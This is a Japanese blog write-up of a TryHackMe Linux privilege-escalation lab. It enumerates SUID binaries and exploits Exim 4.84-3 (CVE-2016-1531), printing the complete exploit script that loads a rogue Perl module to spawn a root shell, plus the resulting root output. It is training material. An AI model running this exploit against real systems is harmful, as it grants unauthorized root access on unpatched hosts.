今回は、「CVE-2016-1531 Exim 484.3の脆弱性を利用した特権昇格」をやってみます。
ターゲットマシンは、TryHackMeの下記のRoomを利用します。
「TryHackMe-Linux PrivEsc:https://tryhackme.com/room/linuxprivesc」
こちらの記事は、Part6になります。
TryHackMeでLinux PrivEscのWriteupを確認したい方は、「Cron Jobsを利用した権限昇格」も確認してください。
事前準備
まずは、ターゲットマシンを起動します。
TryHackMeを利用している場合は、「Start Machine」を選択しましょう。
下記のようにIP Addressが表示されていれば、起動OKです!
今回は、ターゲットマシンに接続できた後の権限昇格なので、SSHで接続できるところまで確認しましょう。
┌──(hacklab㉿hacklab)-[~]
└─$ ssh user@10.10.52.40
user@10.10.52.40's password:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr 9 08:54:59 2023 from ip-10-18-110-90.eu-west-1.compute.internal
user@debian:~$
アクセスできれば、事前準備は完了です。
CVE-2016-1531 Exim 484.3の脆弱性を利用した特権昇格
ここまで来たら、実際に特権昇格をやってみましょう。
SUID/SGIDとは?
CVE-2016-1531は、SUID/SGIDの仕組みを利用します。
まずは、SUIDとSGIDを簡単に理解しておきましょう。
- UID:LinuxではUIDと呼ばれるID番号でユーザを管理している
- SUID:実行権限があれば、ファイルを実行した際にそのファイルの所有者の権限で実行される
- SGID:実行権限があれば、ファイルを実行した際にそのファイルの所有グループの権限で実行される
脆弱性を探す
では、まずは脆弱性をさがしてみましょう。
SUID/SGID実行可能ファイルを探していきます。
user@debian:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwxr-sr-x 1 root shadow 19528 Feb 15 2011 /usr/bin/expiry
-rwxr-sr-x 1 root ssh 108600 Apr 2 2014 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh
-rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo
-rwxr-sr-x 1 root tty 11000 Jun 17 2010 /usr/bin/bsd-write
-rwxr-sr-x 1 root crontab 35040 Dec 18 2010 /usr/bin/crontab
-rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp
-rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit
-rwxr-sr-x 1 root shadow 56976 Feb 15 2011 /usr/bin/chage
-rwsr-xr-x 1 root root 43280 Feb 15 2011 /usr/bin/passwd
-rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39856 Feb 15 2011 /usr/bin/chfn
-rwxr-sr-x 1 root tty 12000 Jan 25 2011 /usr/bin/wall
-rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
-rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
-rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3
-rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 212128 Apr 2 2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10592 Feb 15 2016 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 36640 Oct 14 2010 /bin/ping6
-rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping
-rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount
-rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su
-rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount
-rwxr-sr-x 1 root shadow 31864 Oct 17 2011 /sbin/unix_chkpwd
-rwsr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.nfs
SUID/SGIDで実行可能なファイルの一覧に、「/usr/sbin/exim-4.84-3」があるのを見逃さないでください。
次に、Exploit-DBで「exim-4.48-3」の脆弱性を確認します。
Exploit-DBで「cve-2016-1531」がヒットすることがわかったと思います。
ここまできたら、Exploit-DBに記載のあるshellを実行するだけですね。
CVE-2016-1531 Exim 484.3を利用して特権昇格
では、ターゲットマシンにExploit-DBに記載されているShellを作成しましょう。
TryHackMeの場合は、下記にすでに作成されています。
user@debian:~$ cat /home/user/tools/suid/exim/cve-2016-1531.sh
#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
# ===============================================
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
# exim with the "perl_startup" arguement -ps.
#
# e.g.
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
#
# -- Hacker Fantastic
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;
system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps
最後に、作成したShellを実行するだけです。
user@debian:~$ /home/user/tools/suid/exim/cve-2016-1531.sh
[ CVE-2016-1531 local root exploit
sh-4.1# whoami
root
無事、root権限を取得することができました。
まとめ
今回は、「CVE-2016-1531 Exim 484.3の脆弱性を利用した特権昇格」をやってみました。
偵察さえ終われば、Exploit-DBに記載のある内容を実行するだけなので、簡単でしたね。
とはいえ、実際に偵察しているときに気が付けるか。。。まだまだ勉強が必要だなと感じました。
参考文献・サイト
ー